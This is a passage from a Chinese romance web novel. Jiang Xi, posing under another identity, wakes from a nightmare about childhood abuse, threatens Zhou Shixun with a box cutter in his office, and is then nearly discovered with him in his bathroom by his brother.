趴桌的动作令纤巧柔软的腰臀线弯折,下身树莓色超短裙束勒女性紧致挺翘的阴柔曲线,裙下长腿修靓,柔滑笔直。 唯一刺眼的,是她身上深浅不一的伤痕。 在她背后,港岛的华灯夜幕为落地玻璃窗披上迷幻绮丽的外衣,光影斑斓,如梦似幻,交织在她身上,连少女也似幻象。 或许是酒精作用,耳后脉动下血液奔涌的燥郁刹那贯穿脑神经,周时浔呼吸沉了沉,撇开眼,走进去,敛下情绪吩咐: “让周锡风来接人。” “是。”仲一适时停在原地。 他没有走进去,只站在门口的位置,从手中公文包内取出一方档案袋,双手递交给周时浔,说: “您让我调查的,孟嘉基的家人档案。” 周时浔接过来,懒散打了个手势。 仲一会意,转身离去,玻璃门将两人紧密关阖在室内独立空间。 女孩仍然没有醒来的迹象。 周时浔走过去,倚身靠坐在办公桌沿,打开档案袋,抽出文件,兴致不高地随意翻动了两页。 倏尔,他手上动作停滞一瞬。 当纸页沙沙翻动的响声消失,空气骤落阒寂,少女低低浅浅的啜泣声便尤为突显出来,断续,轻弱,像猫尾撩过耳廓。 周时浔偏低头,皱眉掠她一眼。 身旁的女孩还是没醒,只是的确在哭,像做了噩梦,秀致眉尖紧蹙在一起,泪水断线般从她鼻骨上斜滑过,水光留痕。 周时浔不动声色地凝着她,薄睫略动。他表现得非常平静,没有不耐,也没有急于叫醒她,只是在看了她好长一段时间后,敛低眼睑,修长指尖不知碰了下哪里的触控开关。 隐藏式柔和灯带丝滑挑亮桌边。 慵懒浪漫的爵士曲调也响起。 对周时浔来,这是这张顶配高奢办公桌最无用的两项功能。此刻,它们第一次出现在这间绝对暗黑系的男性领域。 只为今夜没能好梦的女孩服务。 是有一定程度的效果。 趴在桌上的女孩渐渐平复下来,停止哭泣,良久后,她缓慢睁开眼睛,只是像没回过劲儿来,抬眸时,望向男人的眼神十分空洞,在这样昏暗灯影下,她的表情迷茫得看起来像幼鹿。 “醒了?”周时浔懒淡开口。 不料下一瞬,江禧受惊从椅子上坐直,应激性反射似的站起来,一把扯住周时浔的领带,莽撞又蛮横地拽近他,站位调转,然后大力将他推倒在真皮座椅上。 随即她顺手从屁股后兜抽出那柄美工刀,推出刀刃,二话不说狠狠抵住男人颈侧强烈泵搏的动脉,指骨攥着刀泛出青白。 可是抵近的一刻才觉察不对。 这个味道不是。 不是令她恐惧到生理性作呕的那个味道。 这个是强大到令她足以安睡的淡冷调茶香。 这个是,周时浔的味道。 江禧这才彻底从噩梦边缘醒过来,高度紧张的神色缓和下来,与此同时,表情一秒变得尴尬,连耳骨都发热。 她急忙试图收回手,然而却被周时浔迅速扣住手腕,尖利刀刃抵回去,不准她退缩。 耳边崩落他微哑发沉的嗓音:“你还真是,花样百出。” “等一下…先放开我……”江禧忍不住挣扎。 可她不敢太大幅度,因为锋利刃尖仍抵在周时浔的颈动脉,她生怕一个不小心用错力,真的会伤到他。 可她又必须挣扎。 因为。 因为当下她的动作实在狼狈。刚才反应过激,她扑上来的时候本能地膝盖弯曲,单膝蜷跪在周时浔双腿之间。 他桎梏在腕上的力度坚定不移,让她上半身前倾,又动弹不得,不得不逼她伸出另一只手抵在椅背上,勉力保持彼此的距离。可即便如此,她的姿势依然像半骑在他身上。 英文歌里的女声和着轻缓的拍子,温柔呢喃。 但江禧根本听不见她唱的什么。 她只能感受到男人的灼烫掌温。 只能闻到他身上冰透寒凉的冷调香氛里,浸染着丝缕淡淡浑浊的酒香。 也只能听到他极具辩听性的声线敷在耳边,字尾词末夹杂些微港腔的胶着,哑得磁性,如此虚迷。 他说:“怎么,又不认识我了?” “还是说,这次你也认错老公了。” 13.情刃淌蜜 江禧做了一个梦。 梦里回到十三岁那年。 她因为把碎酒瓶的玻璃渣藏进哥哥的被子里,导致孟嘉基光膀子一躺,扎了满背的血,又破防风住院,她受了母亲一顿毒打后被锁在自家车库里。 虽然是孟嘉基先用酒瓶子打她的。 不过她也不觉得委屈。 习惯了,反正她从懂事起就跟孟嘉基斗狠。 他打她,她力气不够就脑力凑,变着花样用阴招折磨他。然后遭来他更狠的暴力,然后下次她也会有更狠的诡计反击。 在学校她从小到大稳居第一。老师都夸她聪明,脑子转得快,她觉得这里有孟嘉基大半功劳。因为想活着得时刻用脑。 那时候江禧一度觉得就一直这么斗下去,他俩早晚得有一个先死对方手里。所幸后来孟嘉基沉迷赌博,经常不在家,没钱了才回来。 其实被母亲打也没什么。 她没孟嘉基力气大,疼得差些,而且这次她出门前还给她做了碗面,至少不用饿肚子。 没饭吃可比被暴打更难熬。有一次母亲三天没给她饭吃,饿狠了连出去偷东西吃的力气都没有,她难受得想吃人。 也许是因为母亲心情好。那段时间她心情一直不错,原因也简单,他们家那套老房子要拆了,母亲拿到很大一笔赔偿费。 不光他们家,应该说附近这一整片老破小旧楼区都被征收了,但没人闹事,因为家家户户都拿到了满意的拆迁赔偿。 听对门大婶说,是从港城来的豪门勋贵,祖祖辈辈往上富了不知道多少代。现在开始往内陆发展开创商业帝国,首站项目开发当然要选距离港城最近的粤珠区。 有钱人做事就是狠,上来就砸下资本手笔,平地起惊雷。这么一大片老破小土地征收,面对的住户群众还是老城区最具战斗力的顽固分子,最后竟然连一个钉子户都没有。 “可是有钱了就能连家都不要了吗?”小江禧嚼着嘴里的面条,不解地问大婶。 车库外的大婶回头瞅她一眼,吐出嘴里的瓜子皮,不屑讽刺道:“你个女娃娃懂什么,有钱了哪里不能有家?” 话一出,坐在树下乘凉的其他人一起笑她。 原来有钱这么好,有钱就能让平时那么嚣张跋扈的大婶听话,让一毛不拔的人连家都可以不要。 那她以后也要很有钱才行。 有钱了让母亲也尝尝饿肚子的感觉。 她踢了踢拷在脚踝上的铁链,心里想到时候就把这根铁链栓孟嘉基脖子上,让他倒立吃屎,让他像狗一样听话。 这样想着,小江禧开心地又吸溜一大口面,眯着眼心满意足地嚼嚼嚼。 忽然这时,外面的大婶低声惊叫:“诶诶诶,快看,那个港城的开放商又过来视察了。” “诶呀这家真是穷得就剩钱了吧,看看那车,咱们这辈子都没见过。” “这次来的好像不是他,他哪有这么年轻。” “这看着是他儿子吧。” “豪门少爷啊,年纪轻轻就成甲方了,这是来视察自己家的新地盘吧,诶哟长得还这么靓……” 长得靓?能有多靓? 江禧咽下嘴里这口面,抱着碗,也跟着往外抻头看。 那天午后阳光盈盛,豪车后门被人从外面恭顺拉开。一只铮亮的黑色马丁靴缓慢踏下,深灰束口卫裤垂顺感极好,上身宽松慵懒的黑T恤,立肩版型更衬他修挺身骨,窄腰腿长。 江禧想看看有钱人的儿子长什么样,但是看不到,年轻男子从车内迈出来是背对着她的。只能看到给他开门的人是个寸头男生,也看不到模样。 真讨厌,都怪脚上这破铁链。 但很快也没机会再看,没过多久他们就走了。 然后孟嘉基那个死货回来了。 他竟然提前出院了。要不是外面的大婶几个看不下去,最后拦了下,那天她可能真的会被孟嘉基给打死。 当然,大婶们也不是因为同情她。只是说要是把她打死了,这地方就不干净了,担心港城少爷知道这里死了人晦气,到时候人家反悔,所有人都要一起倒赔钱给少爷家的。 江禧觉得那个什么少爷也算救她一命。 那天母亲回来又出去了。半夜江禧感觉浑身都痛,呼吸也痛,身体像被火烧一样烫,她不知道自己是不是要死了,开始害怕,开始哭,越哭越害怕,越害怕哭得越大声。 然后就把隔壁房间的孟嘉基吵醒了。 孟嘉基一把抓起桌上的铁链,踹开门,外面昏黄的柔光一下子泻进来,照在她脸上,映亮她空洞受惊的双眸。 不知道哪里来的爵士曲调。孟嘉基在慵懒温柔的背景乐中用铁链缠住了她的脖子,交叉链条死死箍勒她,一手拽一头,嘴脸狰狞地笑她,吓她:“想活命你得随身带刀啊蠢货。” 刀?她有刀啊! 莫名的窒息感上来,江禧一下子脸色涨红。在梦与醒的边缘上去一把扯住眼前的男人,拼尽全力压倒他在椅子上,抽出美工刀照着他的脖子就想狠狠扎进去,插爆他的大动脉。 真想,她真想杀了他。 但。 但眼前的人不是他。 他的眉眼锋凌冷峻,鼻挺唇薄,五官精妙如艺术,皮囊很勾人,眼神很性感,孤傲里含藏着戏谑似笑非笑地看她。 也嘲弄她:“怎么,又不认识我了?” “还是说,你这次也认错老公了。” 比起被他讥讽,让江禧感觉更难捱的,是她必须极力维持住当下这个姿势。薄瘦纤弱的肩脊线拱弯出脆弱弧度,撑在周时浔身上,整个人的身体重量全靠抵在椅背上的胳膊,和跪在他双腿之间的单膝。 一个莫名的“椅咚”。 实际上这种体位非常考验平衡力。 江禧想退开,偏又被周时浔扣着手腕动弹不得。她必须在此刻让自己高度紧张起来,否则她极有可能腿上一软,直接跌坐在周时浔的腿上。 或许他说的话听起来沾点暧昧,老公什么的,很容易被误会或令人多余遐想些什么,但江禧不会。 她很清楚这个男人话里的讥嘲有多浓烈,蔑然轻视的意味简直快要从他的字词里滴下来。他不是真要她回答。 他是在逼她交代实话。 江禧只能先一步妥协:“他是我前男友。” 妥协谎话也算妥协。 只是非常恶心。 假装承认孟嘉基是前男友,让她分分钟生理性反胃。这是她第一次觉得这个任务有这么困难,已经到了钱难赚,屎难吃的程度。 于是接下来这段台词,江禧几乎是拿出了自己全部的意志力去跟自己身体的本能做抗争,强忍着作呕的冲动说: “我想分手,但他一直对我死缠烂打,今天听说我家在和埔办展销会,就跑过来威胁我,让我拿钱给他当分手费。” “我不愿意,他就动手打人……”她在周时浔审视的目光下偏开头,逃离他的视线追猎,继续编:“抱歉周先生,事出紧急,我也是迫不得已才利用您……” “又是前男友?”周时浔勾起尾音。 又? 哦,想起来了。 最初第一次见面,杀马特装的也是她前男友来着。 差点玩脱了。 江禧尝试扭动手腕,小声嘟囔:“也没人规定说,只能有一个前任啊……” “可你的前任,们,”周时浔挑起唇,更加收紧手中力道,加重咬字,戏嘲道,“偏偏都很喜欢对你死缠烂打。” “可能是因为人格魅力吧。”她更小声了些。 男人像被荒唐到,好笑地问:“因为什么?” 江禧近乎快要坚持不住。 她要尽力保持姿势。腰脊弯拱地发麻,膝盖泛软,跪在他两腿中间的大腿隐隐有些抽筋,渐渐开始忍不住颤抖。 手上也在费力对抗他的力量。 这男人疯得很,根本不在意她手指紧攥的锋利刀刃,生攥着她仍由刃尖抵在颈侧。她必须很努力地握紧手中的美工刀,控制着力气往回收着些,生怕一个歪打正着真的伤到他。 她都这么辛苦了,一心两用,就这样还要分神去应付他刻薄严苛的每一道逼问。要不要这么不近人情啊?? 江禧变得有些生气,回过头来,眼神略带不满与嗔怨地瞪着他,故意抬高音量大声道: “因为我年轻,漂亮,聪明,又有钱!” 这的确是黎贝珍的人设没错。 然而真对上周时浔的那双眼,她不过三秒又软了下来,抿抿唇,往回找补了句:“当然没您有钱……” “但我这样的条件对他们来说,就是最大的人格魅力。”她又觉得不服气,越说越真,“我想踹了他们,他们不肯放手不是很正常吗?” “所以我应该认为,是你的人格魅力太大,他们才个个咬着你不放。”周时浔懒洋洋开口,扫了眼她身上的伤, “甚至不惜对你使用暴力。” 他缓缓抬起另一只手,骨感有力的长指掐起她的脸,凌厉傲慢的视线先是捕捉她的眼睛,轻易看穿她试图藏匿的情绪。而后淡淡下拉滑落在她的唇上,眸光微微深锐,说: “你这张嘴巴里,有一句能听的实话么?” 抵在椅背的胳膊已经完全僵直,悬空弯曲的腰背滋生难以自控的麻痹感,膝盖骨更是酸软无力。 身体机能硬撑到极限的情况下,精神还在高度紧张,要被他逼问、要受他挑衅、要忍让他轻描淡写的情绪碾压。 这个瞬间,聪明的女孩子才有所惊觉,原来奸诈的男人是在从生理、心理双重施压,他竟然,像审讯犯人那样对待她。 被折辱与戏耍的愤怒感顷刻冲击脑神经,像沸水般贯穿进脉管,烧得血液翻腾不休,扯动她的心脏,也侵吞她的理智。 江禧彻底被他激怒,从孟嘉基出现后便压抑许久的情绪,反倒在他这里一瞬爆发:“你到底是质疑他的人品,还是在质疑我的人格魅力?!” 过分冲动之下,手中动作也失了方寸,变得不管不顾,直接猛地一把从他的握力中抽刀出来—— 她真的划伤了周时浔。 锋薄锐利的刃尖飞快划过他的指腹。 “啪嗒”,血滴下来。 落在,她柔软冷白的大腿肌肤上。 殷红浓稠的血珠坠弹下来,霎时洇透她薄如蝉翼的肉色裸感丝袜,少女腿上细腻柔滑的皮肤被男人的血色晕染,渗进去,模糊地湿了一小块。欲气,黏腻,像他给的淤痕伤,带着他热度惊人的体温。 被骤然刺激到,江禧忍不住抽动了下大腿,“嗯…”低低弱弱地无意识呢喃一声。 周时浔也在这时低垂眼皮,看过去。 看他将她标记。 看她为他染血。 看看她这副样子,谎话连篇,敏感娇气,像只被困在荆棘丛里脆弱幼猫,轻易被摧垮,轻易被折断,轻易被毁坏。 江禧有些被周时浔的眼神吓到。素来警觉力敏锐的少女一秒嗅到危险的气息,她在这刻恍然意识到: 她忘了,周时浔喝酒了。 在这样的深夜,这样密闭性的独立空间,这样孤男寡女,灯影昏聩,乐调轻懒,落地窗外是这座港岛最璀耀绚烂的华光夜景。窗内气氛烘托得潮热,他们的姿势难以描述。 她不该去招惹一个微醺的男人。 周时浔的酒品好吗? 江禧不知道。 她真的害怕了。惊恐的感觉慢慢撕扯着她,让她毛骨悚然,让她自幼被千百次拷打的身体再次应激性颤栗起来,让她面对孟嘉基的暴力从来不屈的情绪,不退让的意志, 此刻在周时浔面前全盘崩垮。 她的自我保护机制被迫唤醒:真正恐惧的话,就变乖。 “周先生…该解释的我都解释了,这件事情我不想被阿风知道,您能不能……帮我保密?”她终于肯直白说出今晚来的目的。 甚至不记得道歉。 像她这样八面玲珑的情商,划伤了周时浔,首先应该装模作样地说“对不起我不是故意的,弄疼您了吗”才对。 她已然顾不上这些,竟然被吓成这个样子。 周时浔不着痕迹地松开她,从她腿上的血迹撤走目光,落回她脸上,嗓线浸着些涩哑:“小姑娘,不觉得自己的秘密太多了么?” 顺着他的话,女孩问:“您会好奇吗?” “对我。” 顿了下,又补一句,“的秘密。” “不会。”男人回答得果决。 “没兴趣。” “那您就别再管我。”江禧趁势说出需求,以近乎耍赖的语调,像赢不了他就无理取闹,破罐子破摔的坦诚, “我说过,我保证不会伤害阿风的。” 周时浔突然觉得没什么意思,对话到这里,索然无趣。 “去把自己收拾干净。”从她无辜的小脸上收回视线,没再看她,字词句末仿佛带着嫌弃,恢复他一贯高傲的讽刺, “你脏得让我看不清你的人格魅力。” “……”真歹毒。 但她知道,这算暂时放过她的意思。 江禧也想赶紧起来,跟他保持正常距离,但是,这副不争气的身体根本不允许啊。 “不走?”周时浔声线不耐。 “腿…腿麻了……”话没说完,江禧腿上忽然抽筋了下,酸软的胀感旋即袭来。 她不受控地要往男人腿上坐,周时浔被烦到看不下去,出手一把捞住她的身子,单臂圈紧她的蛮腰略微用力,直接将她抱上身后的桌子。 江禧低呼一声坐在他的办公桌上,腿麻到没知觉,什么都做不了,等待那阵酸麻过去的时间实在过于尴尬。 她低下头,盯着腿上的丝袜愣神。 江禧到现在才发觉丝袜有点狼狈,沾染的灰尘大概是孟嘉基踹下的脚印,在大腿外侧,还有一小块残破的勾丝。 很快在周时浔的视角里,眼前的画面就变成:少女坐在他的桌子上,双腿的方向朝着他,她没多想忽然就把手伸进裙里,双手绕到裙内腿外侧,两指挑起勾丝的破洞,用力一撕。 裙下柔软的阴影中发出“刺拉”一声闷响。 周时浔当场沉默了下,立即箍住她的手腕,制止她极度缺乏边界意识的无厘头行为,皱着眉冷声质问她:“干什么呢?” “啊?”江禧被他问愣了下,照实回答,“脱了等下涂药啊。” 其实是看到腿上的脚印就犯恶心。 所以忍不住想撕碎它。 “进去收拾!”强势冷硬的一句命令。 “哦。”进去就进去,凶个鬼啊。 腿恢复了知觉,可身上被打的地方还在抽痛,江禧有点艰难地跳下桌 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里面传来江禧的声音:“进。” 周时浔:“……” 周时浔当然没进,耐着性子第二次敲门。 江禧拉开门,一团蒸腾的热汽涌出来。 浴室内光影昏稠,粉与橙的灯色杂糅,令颓靡弥郁的氛围迅速攀升。潮霭氤氲里,冷茶调的香氛也变得暖融。 少女浴在水雾迷蒙里。 她明显是刚刚泡完澡出来,黑色长发半干不湿的,略显凌乱,身上反倒还穿着来时的衣服,一张小脸格外烫红。 “搞什么?”周时浔问她。 女孩张口就是:“我什么都没干!” 像为了证明什么,江禧把门大敞开,转身边往里走,边指着那座流线尊贵的超大型浴缸,解释得小心,抱怨也没少: “我就是泡澡时间久了些,不小心睡着了,然后它就各种狂响,我不知道怎么关。” “您这浴缸怎么还会报警啊……”差点给她吓死。 她已经非常谨慎规矩了。 要不是因为不敢碰男人的东西,也不至于洗完澡还要穿回被孟嘉基用脚踹过的脏衣服。 周时浔懒得说话,抬步迈进浴室,绕过水波纹玻璃屏风,长指随意拨调了下触控屏,关掉报警器。 瞥了眼她脸上的异常红温,拧起眉,“泡那么久干什么?” “因为冲完冷水澡觉得太冷了。” “冷水澡?” “因为我发烧了。” “?” “是真的!”江禧以为他不信,抓过他的手贴在自己颈窝处,“不信您试试。” 指下肌肤触感柔腻滑软,热度惊人。周时浔没做半秒停留就抽开手,微顿,手掌敷上她的额头,探到她的体温确实很烫。 眉骨拧得更紧了,他收回手,按了下女孩头顶的高柜,柜门弹出,周时浔从里面抽出一张干净的黑色厚绒浴毯,裹住她。低眸睨她,口吻不善:“谁教你发烧要冲冷水澡的?” 除了会折腾,没有半点常识。 “没人教我。”江禧忽然出声。 后一句是,“因为没人管过我,我是一个人长大的。” 对黎贝珍来说,父母不在身边,等于没有。 对江禧来说,那样的母亲,有还不如没有 周时浔凝眸注视她,眼色微变。 女孩倔强地仰起小脸,细眉微扬,眼神表现得如此理所应当,声音平静地告诉他: “所以您觉得我蠢,您讨厌我,我也没有办法。” 她这样强调:“因为我就是这样长大的。” “大哥?大哥你在吗??” 门外,突如其来的男声强行插入两人的对话。 僵滞的气氛被骤然撕裂—— “哥??大哥你在这里吗?” 在向浴室走来。 “你在洗澡吗?哥??” 越来越近了。 “哥,黎贝珍呢?我在外面没看见她。” ——是周锡风。 这次,真的是周锡风了。 周时浔被他吵得头疼,转身要走出去。蓦地,指尖被一抹冰冷柔软的触感包裹,他低头看过去,见到江禧紧紧拉住他。 周时浔撩起眼皮,敛向她。 江禧连忙抬起手在唇前竖指,眼神溢满慌张,示意他千万别出声,随即手上一个用力将他拽进来靠墙抵着。 开什么玩笑,就算周锡风再怎么傻,见到她跟周时浔这样孤男寡女的从浴室里走出去,自己还是刚洗完澡的样子,都很难不多想吧?那岂不是要出大事?! 决不能让这场任务再有任何风险了。 不能让她的计划功亏一篑。 决不能让周时浔出去。 或许是今天一整天的紧张过度,又或许是高烧,江禧觉得自己有些体力不支,脚上发软,小腿又开始忍不住颤抖。 她猜周时浔也不想多生是非吧,所以应该会配合她,于是稍稍放松神经,裹紧身上的浴毯,索性直接在他面前蹲了下来。 周锡风的声音已经来到了浴室门口:“黎贝珍这女人真有本事到处乱跑,哥你不是让我来接她吗,她人——” 他的声音猛地一顿。 浴室门没关,大敞着。 所以周锡风看到,水波纹玻璃屏风上映出两道朦胧身影。画面模糊,但足够看得清轮廓。 背靠着墙的男性身影落拓挺拔,高大修瘦,明显是他哥。这里是他的办公室,所以他出现在这里很正常。 问题是,不正常的是, 还有个明显属于女性身线的人影,正蹲在他面前。透过水波纹玻璃的镜像稀释,从周锡风角度看过去,眼前的画面看起来很像对方在为周时浔提供一些难以描述的两性服务。 周时浔竟然有女人了?! 这简直闻所未闻! 要知道他哥可是从来不近女色的存在。 现在,不仅有女人出现在他这里,他不仅近了女色,还沾了荤腥,他们竟然还在做这种事?! 屏风外,周锡风被震傻在原地。 屏风内,周时浔单手插兜,懒身后倚在墙上。 外面是自己弟弟,而弟弟的未婚妻就蹲在自己面前,这样充满伦理禁忌的极限场面,却没有惊起他情绪上的一丝波澜。 他兴致缺缺地拉低视线,看着女孩,直到对方也感受到他灼热的凝视,抬头回望他。周时浔倏尔食指轻动,朝她做了个勾点动作,示意她过来。 江禧没多想,站起来,同时机警地伸手捂住他的唇,表情藏着堂皇,像生怕他搞事。 男人眼梢懒挑,反手扣住她,之后从唇上拉下她的手,拽近,歪头,凑上去靠近她,虚声道:“想问你件事。” 江禧轻轻蹙眉,望向他的目光略带少女气的诧异和不满,似乎在质问他“什么事非要现在说。” 周时浔淡淡勾弯唇角,抬起手,长指替她将脸侧的发丝别去耳后,手掌顺势停留在她的后脑勺,拍了拍。 “孟嘉基有个妹妹,对么。” 挑眼睨着玻璃外的周锡风,他凑上去,稀微收紧掌力将她的脑袋推近,薄唇贴在女孩耳边,勾着声线,叫出她的名字, “江禧。”